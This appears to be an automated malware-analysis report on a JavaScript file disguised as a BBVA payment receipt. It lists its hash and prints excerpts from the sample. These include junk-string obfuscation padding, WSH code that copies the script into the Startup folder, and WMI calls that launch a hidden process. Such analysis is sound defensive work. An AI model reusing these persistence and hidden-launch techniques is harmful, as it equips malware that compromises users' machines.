Hostile ^92% javascript Download

COMPROBANTE DE PAGO DE BBVA.js

Obfuscated WSH malware with persistence

Heavily padded WSH loader launches a hidden WMI commandJavaScript self-copies to Startup

SHA-2561bf8a7e3f3152e3bfc8bc0fcbc6aa3a8911eb60f36e9f1f9fe3db441d2c7baac

URLhttps://mb-api.abuse.ch/api/v1/

Evidence

Many long string literals concatenated in source lines 1–6

1try {
2  if (enchastened !== "Ꮖ᧧ጸਘ۰୲ǗẌȓ⍠ⱶ⚧7Ɋ⠃") { enchastened = (enchastened || "") + "Ꮖ᧧ጸਘ۰୲ǗẌȓ⍠ⱶ⚧7Ɋ⠃"; }
3
4  for (var enchastened = 0; enchastened < 1; enchastened++) { enchastened = (enchastened || "") + "Ꮖ᧧ጸਘ۰୲ǗẌȓ⍠ⱶ⚧7Ɋ⠃"; }
5
6  var enchastened = "Ꮖ᧧ጸਘ۰୲ǗẌȓ⍠ⱶ⚧7Ɋ⠃"; enchastened = String(enchastened || "").concat(enchastened);

WSH resolves the Startup folder lines 4158–4171

4158:70… ⱶ⚧7Ɋ⠃"); } catch (e) { enchastened = "Ꮖ᧧ጸਘ۰୲ǗẌȓ⍠ⱶ⚧7Ɋ⠃"; }
4159
4160  var dorksooo = new ActiveXObject("Scripting.FileSystemObject");
4161var interventivelll = new ActiveXObject("WScript.Shell");
4162var traumatism = WScript.ScriptFullName;
4163var startupe = interventivelll.SpecialFolders("Startup");
4164var readministers = startupe + "\\" + dorksooo.GetFileName(traumatism);
4165if (traumatism.toLowerCase() !== readministers.toLowerCase()) {
4166    if (!dorksooo.FileExists(readministers)) {
4167        dorksooo.CopyFile(traumatism, readministers);
4168    }
4169}
4170
4171  enchastened = (function(p){ return (p || "") + "Ꮖ᧧ጸਘ۰୲ǗẌȓ⍠ⱶ⚧7Ɋ …

WMI process-startup object instance lines 8253–8258

8253:15… = (enchastened || "") + "Ꮖ᧧ጸਘ۰୲ǗẌȓ⍠ⱶ⚧7Ɋ⠃";
8254
8255  var amphithyra = amphid.SpawnInstance_();
8256  switch (typeof enchastened) { case "string": enchastened += "Ꮖ᧧ጸਘ۰୲ǗẌȓ⍠ⱶ⚧7Ɋ⠃"; break; default: enchastened = "Ꮖ᧧ጸਘ۰୲ǗẌȓ⍠ⱶ⚧7Ɋ⠃"; }
8257
8258  for  …

Assigns hidden ShowWindow value lines 8348–8353

8348:69… nchastened = (enchastened || "") + "Ꮖ᧧ጸਘ۰୲ǗẌȓ⍠ⱶ⚧7Ɋ⠃"; }
8349
8350  amphithyra.ShowWindow = 0; 
8351  if (enchastened !== "Ꮖ᧧ጸਘ۰୲ǗẌȓ⍠ⱶ⚧7Ɋ⠃") { enchastened = (enchastened || "") + "Ꮖ᧧ጸਘ۰୲ǗẌȓ⍠ⱶ⚧7Ɋ⠃"; }
8352
8353  if (enchastened !== "Ꮖ᧧ጸਘ۰ …

Four-argument Create call with null second arg lines 9108–9111

124… chastened = "Ꮖ᧧ጸਘ۰୲ǗẌȓ⍠ⱶ⚧7Ɋ⠃"; }
9109
var retrogressively = xiphosternum.Create(bedusk, null, amphithyra, unascribable);
if (/Ꮖ᧧ጸਘ۰୲ǗẌȓ⍠ⱶ⚧7Ɋ⠃/.test(enchastened || "")) { enchastened += "Ꮖ᧧ጸਘ۰୲ǗẌȓ⍠ⱶ⚧7Ɋ⠃"; } else { enchastened = "Ꮖ᧧ጸਘ۰୲ǗẌȓ⍠ⱶ� …